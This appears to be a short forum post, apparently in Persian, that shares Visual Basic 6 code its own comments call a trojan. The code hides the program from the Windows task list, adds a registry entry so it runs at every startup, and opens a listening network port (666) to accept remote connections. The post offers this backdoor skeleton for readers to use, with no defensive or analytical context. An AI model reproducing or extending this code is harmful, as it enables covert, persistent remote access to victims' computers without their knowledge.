۲۶-شهریور-۱۳۸۵, ۰۴:۳۳:۴۳
سلام.
کد:
Private Sub Form_Load()
App.TaskVisible = False 'This hides your aplication from the Ctrl + Alt + Del screen.
'This adds your program to the windows registry so that it starts everytime windows starts
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Winsock1.localport = "666" ' this sets your trojan´s port, you can change it if you want to
Winsock1.Listen 'This sets your trojan to listen for connections
End Sub